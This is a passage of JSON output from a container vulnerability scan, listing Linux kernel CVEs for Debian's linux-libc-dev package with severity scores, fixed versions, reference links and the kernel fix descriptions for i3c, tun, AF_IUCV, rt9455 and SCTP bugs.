"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80921.mbox", "https://git.kernel.org/stable/c/087c19cc60a8caa1a08e1e434c8be2caf6c27733", "https://git.kernel.org/stable/c/29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6", "https://git.kernel.org/stable/c/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b", "https://git.kernel.org/stable/c/59d51550b5cb916bda037673a721a404b3b47a0d", "https://git.kernel.org/stable/c/7d23489f51109e3ebba5b5db8c5f0185af7b7fdf", "https://git.kernel.org/stable/c/935eeba276012916c76243e5cbb843efd8fdb75d", "https://git.kernel.org/stable/c/d110b3297f11ef227098b8a82ade2d5f123b7d2f", "https://git.kernel.org/stable/c/d4bcd2df6d0d2af916b4fe1a533958778ea7c45b", "https://git.kernel.org/stable/c/f6079dca67eccb5eabef9f72437948c66dc5131f", "https://linux.oracle.com/cve/CVE-2026-80921.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80921", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80921" ], "PublishedDate": "2026-09-09T17:17:47.24Z", "LastModifiedDate": "2026-10-19T09:17:22.95Z" }, { "VulnerabilityID": "CVE-2026-80951", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80951", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a4732c35adbd9dcbabea999ae4dbee9ea7716a867bd84418a85bb6b9f66553ea", "Title": "kernel: i3c: master: svc: bound IBI payload to the requested max_payload_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni3c: master: svc: bound IBI payload to the requested max_payload_len\n\nsvc_i3c_master_handle_ibi() reads the IBI payload from the RX FIFO into\nthe IBI slot. The loop is bounded by the hardware FIFO size\n(SVC_I3C_FIFO_SIZE), not by the slot size.\n\nslot-\u003edata points into the IBI pool, which i3c_generic_ibi_alloc_pool()\nsizes at max_payload_len per slot. svc_i3c_master_request_ibi() only\nrejects a max_payload_len larger than SVC_I3C_FIFO_SIZE, so a driver can\nrequest a smaller one. mctp-i3c requests 1. Each readsb() then copies the\ncontroller RXCOUNT bytes (up to 31) with no check against the slot size.\nA device that sends more bytes than the slot holds writes past\nslot-\u003edata, an out-of-bounds write into the IBI pool.\n\nBound the loop by dev-\u003eibi-\u003emax_payload_len and clamp each read to the\nspace left in the slot, the same way dw-i3c does. A device can still send\nmore than the requested payload. Flush the leftover bytes from the RX FIFO\nso they do not leak into the next transfer.", "Severity": "HIGH", "VendorSeverity": { "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80951", "https://git.kernel.org/linus/e2bda39d7f9f285ec803e200b5c1f17143d0b483%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80951.mbox", "https://git.kernel.org/stable/c/35aa6730b8c5626b879a4e893fe664f59bf07d7f", "https://git.kernel.org/stable/c/5697d779577e2786ff3348ae9b77020ac0cf0aab", "https://git.kernel.org/stable/c/7c099b0b292a68d0ef558527945dbfb756fbf893", "https://git.kernel.org/stable/c/7cc5ba756bc1cfffab9cb2695742f9f479dc73f7", "https://git.kernel.org/stable/c/aac3c5aababc7fb69d5bf5b0cc52d308574e3a8c", "https://git.kernel.org/stable/c/e2bda39d7f9f285ec803e200b5c1f17143d0b483", "https://git.kernel.org/stable/c/f296a0d5907bf88314dfda67245f7f69d1552470", "https://nvd.nist.gov/vuln/detail/CVE-2026-80951", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80951" ], "PublishedDate": "2026-09-11T20:19:00.803Z", "LastModifiedDate": "2026-10-19T09:17:26.477Z" }, { "VulnerabilityID": "CVE-2026-81000", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc97e982b974ceeb773d2be356d9121ebc19e29371c4184c2a390db44262e6bd", "Title": "kernel: net: tun: bound receive headroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tun: bound receive headroom\n\ntun_get_user() uses tun-\u003ealign both as skb headroom and when choosing how\nmuch packet data to keep linear. OVS can propagate an oversized headroom\nrequest from another port to TUN or TAP.\n\nWhen align is larger than the usable space in a one-page skb head,\nSKB_MAX_HEAD(align) underflows and the result becomes negative when stored\nin good_linear. That value later wraps when assigned to the size_t linear\nvariable, and tun_alloc_skb() can place skb-\u003edata outside the allocated\nhead.\n\nBound the headroom stored by TUN to the one-page skb-head budget and the\nlargest non-sentinel 16-bit skb header offset. Leave one linear byte for\nraw TUN and a complete Ethernet header for TAP, including NET_IP_ALIGN.\n\nAlso pull the raw-TUN protocol byte and the TAP Ethernet header before\naccessing them, so these checks remain safe for nonlinear skbs supplied by\nother allocation paths.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-81000", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/447c9303942c439a117d9b76ce6d6e2116b38ee7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-81000.mbox", "https://git.kernel.org/stable/c/010eee265d6bd8769b6a523d2a0693d9b3f5df43", "https://git.kernel.org/stable/c/0ada54ea63e48b9c1608e917ccb7dfadbe86db28", "https://git.kernel.org/stable/c/18ef24cdb2eba32e38f1d27f2d02b7b4212e8f76", "https://git.kernel.org/stable/c/379d85c7f25f3e05a428225e6b8a65613c6e9b9d", "https://git.kernel.org/stable/c/447c9303942c439a117d9b76ce6d6e2116b38ee7", "https://git.kernel.org/stable/c/708e87937de93f445225c134a2e20519f9b4ce60", "https://git.kernel.org/stable/c/ad715e713610d2d5473c3a6498c825ccecf26491", "https://git.kernel.org/stable/c/e098d9cc8859614a7f7baebc96e32a5a16b18ed2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.3.0/BRSA-mzmgg9jyr6xg.toml", "https://linux.oracle.com/cve/CVE-2026-81000.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81000", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-81000" ], "PublishedDate": "2026-09-11T20:19:07.71Z", "LastModifiedDate": "2026-10-19T09:17:33Z" }, { "VulnerabilityID": "CVE-2026-81003", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81003", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83b0b8be992dc0eaea684a441c81204afef62e524132f875cc5c73c5781a7628", "Title": "kernel: net/iucv: filter frames in afiucv_hs_rcv() by ingress device", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: filter frames in afiucv_hs_rcv() by ingress device\n\nafiucv_hs_rcv() selects a socket from iucv_sk_list by matching four 8-byte\nname fields in the transport header alone. No check is made against the\nnet_device the frame arrived on.\n\nThis can cause a frame arriving on any netdev to be delivered to an AF_IUCV\nsocket. Three problems follow.\n\nFirst, a frame arriving over HiperSockets can be delivered to a socket\nbound to the classic z/VM IUCV transport, which has iucv-\u003ehs_dev == NULL.\niucv_sock_bind() takes the classic path whenever the requested userid\nmatches iucv_userid, even on a guest that also has a HiperSockets device\ncarrying the same identifier. The child socket created by\nafiucv_hs_callback_syn() for such a match inherits hs_dev = NULL and\ntransport = AF_IUCV_TRANS_HIPER, so the first send() on it returns -ENODEV.\nThe socket delivered to accept() is unusable.\n\nSecond, a frame arriving on one netdev can be delivered to a socket bound\nto a different IQD device. Which can lead to\n- Accept-queue exhaustion (DoS)\n- Attacker-controlled peer identity in the child socket\n- Data injection into existing sockets\n- Fabric noise on the IQD fabric, where bogus replies are sent\n- killing established connections\n\nThird, all AF_IUCV sockets live in init_net, as iucv_sock_alloc() calls\nsk_alloc(\u0026init_net, ...). But even frames arriving on netdev devices in a\nnamespace can be delivered to an IUCV socket. So a process in an\nunprivileged user and network namespace holding only the CAP_NET_RAW\ncapability valid within that namespace can send a raw ETH_P_AF_IUCV frame\non its own lo device and have it matched against init_net sockets.\n\nFix all three by skipping any socket whose hs_dev does not match the\ningress device. A classic z/VM IUCV socket has hs_dev == NULL; the ingress\ndev is never NULL, so classic sockets are skipped automatically. An unbound\nHIPER socket also has hs_dev == NULL and is skipped. A bound HIPER socket\nis only reachable from the exact IQD device it was bound to. Because hs_dev\nis always a device in init_net (iucv_sock_bind() scans\nfor_each_netdev_rcu(\u0026init_net, ...) exclusively), a frame whose ingress\ndevice belongs to another namespace never matches any socket.\n\nNote that AF_IUCV over HiperSockets provides no per-connection\nauthentication: no sequence numbers, no TLS, no nonce. The four name fields\nidentifying a connection are exchanged in plaintext on the shared\nHiperSockets segment (VCHID). Any host on the same HiperSockets segment\ncould spoof any frame type against an existing connection. That is a\nprotocol-level property unchanged by this patch. The fix reduces the attack\nsurface to peers present on the same HiperSockets segment.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-81003", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/80230a18c164a4b5bbc048fe2768b219ac17bc5a%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-81003.mbox", "https://git.kernel.org/stable/c/0a5af67e7184c6a0e155c317840bd64b37177af4", "https://git.kernel.org/stable/c/639828ad4d374056167391dbaffd13dd5e5e5ddb", "https://git.kernel.org/stable/c/712330f8a4293cfd97b0d62b7c7dc01862a16b98", "https://git.kernel.org/stable/c/80230a18c164a4b5bbc048fe2768b219ac17bc5a", "https://git.kernel.org/stable/c/8e3763f1ccac3fc395f9af2b87114c023ced8a3f", "https://git.kernel.org/stable/c/92e5c281f1caa287bb58292f2687c9e3ff3aa23e", "https://git.kernel.org/stable/c/a7f0130a091724e69827ab58e74777a88747e892", "https://git.kernel.org/stable/c/dfac2936b83be00035ae176f8252e1c1e1de9207", "https://linux.oracle.com/cve/CVE-2026-81003.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81003", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-81003" ], "PublishedDate": "2026-09-11T20:19:08.863Z", "LastModifiedDate": "2026-10-19T09:17:33.5Z" }, { "VulnerabilityID": "CVE-2026-89465", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89465", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5d783e20cbb6e9a7970e2232afa28505f596c3c3825d8a2995207ff7f5acb685", "Title": "kernel: power: supply: rt9455: quiesce delayed work before teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: rt9455: quiesce delayed work before teardown\n\nThe threaded IRQ handler can queue pwr_rdy_work,\nmax_charging_time_work and batt_presence_work. pwr_rdy_work and\nbatt_presence_work can also queue max_charging_time_work, while\nbatt_presence_work can requeue itself.\n\nrt9455_remove() cancels max_charging_time_work before\nbatt_presence_work. The latter can therefore queue\nmax_charging_time_work after it has already been cancelled:\n\n rt9455_remove() workqueue\n cancel pwr_rdy_work\n cancel max_charging_time_work\n batt_presence_work queues\n max_charging_time_work\n cancel batt_presence_work\n return\n devres frees rt9455_info\n max_charging_time_work dereferences\n rt9455_info\n\nThe IRQ also remains registered until devres cleanup and can queue more\nwork after any of the cancellation calls. If rt9455_hw_init() fails\nafter the IRQ has been requested, probe returns without cancelling work\nthat may already have been queued. A pending callback can then access\nrt9455_info after it has been freed.\n\nRegister rt9455_cancel_all_delayed_works() through\ndevm_add_action_or_reset() right after devm_power_supply_register().\ndevres invokes the action in reverse registration order, after the\nmanaged IRQ has been freed and before rt9455_info is released, so the\ndelayed works are drained in both rt9455_remove() and the probe error\npath. Cancel pwr_rdy_work and batt_presence_work before\nmax_charging_time_work because both can queue the latter.\n\nThis issue was found by an in-house static analysis tool.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89465", "https://git.kernel.org/linus/3e7a1ebc32fad5a558254a478efd401c17a24381%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89465.mbox", "https://git.kernel.org/stable/c/1b9978433c61a9b46e48832a1ebceee1cf5c9eb4", "https://git.kernel.org/stable/c/3def4721431f3e374e1e3124f4d32bb07ae8df1c", "https://git.kernel.org/stable/c/3e7a1ebc32fad5a558254a478efd401c17a24381", "https://git.kernel.org/stable/c/442c60c08ec23ac45da0a58877cab05e0a58f4ea", "https://git.kernel.org/stable/c/7323e562f6961e4b7bce3225cde4ecbc78260deb", "https://git.kernel.org/stable/c/c09a2e4f8f101a44bd786a31696c958473469be0", "https://git.kernel.org/stable/c/c8645073876cbb1cdc8c2b995d093d08facfb187", "https://git.kernel.org/stable/c/df67c7a2fff8414aa766b8cd5ffe11ec1ca27d02", "https://nvd.nist.gov/vuln/detail/CVE-2026-89465", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89465" ], "PublishedDate": "2026-09-11T20:19:27.533Z", "LastModifiedDate": "2026-10-30T13:20:16.893Z" }, { "VulnerabilityID": "CVE-2026-89479", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89479", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:385acc9af0a8d4ca65a7b0925e5b89b419e9eb674bcb6f6fa729d63bcd4d491f", "Title": "kernel: sctp: stop processing a packet once its association is deleted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: stop processing a packet once its association is deleted\n\nsctp_endpoint_bh_rcv() looks the association up only when chunk-\u003easoc is\nNULL, and caches the result in chunk-\u003easoc and chunk-\u003etransport without\ntaking a reference.\n\nA packet that matches no association is handed to the endpoint, so a peer\ncan bundle COOKIE ECHO, SHUTDOWN and SHUTDOWN ACK in one packet. The\nCOOKIE ECHO creates the association, the SHUTDOWN chunk caches it, and\nwith the outqueue empty the SHUTDOWN ACK reaches sctp_sf_do_9_2_final(),\nso the association and its transports are freed.\n\nThe endpoint loop has no counterpart to the asoc-\u003ebase.dead check in\nsctp_assoc_bh_rcv(). The next chunk writes to last_time_heard in the freed\ntransport and is then passed to sctp_do_sm() with the freed association.\nThe transport is freed through RCU, so this needs the packet to come off\nthe socket backlog, where the loop runs in task context.\n\nThe endpoint loop cannot do the same check: it holds no reference on the\nassociation, so reading asoc-\u003ebase.dead would itself be a use-after-free.\nMark the packet for discard in the command interpreter, just before it\ndeletes the association. That is also before sctp_inq_free() releases the\nchunk on the association receive path.\n\nsctp_sf_do_5_2_4_dupcook() issues SCTP_CMD_DELETE_TCB for the temporary\nassociation, while the one the packet belongs to stays alive. A restarting\npeer can bundle DATA behind its COOKIE ECHO, so compare against\nchunk-\u003easoc and leave that case alone.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-89479", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", 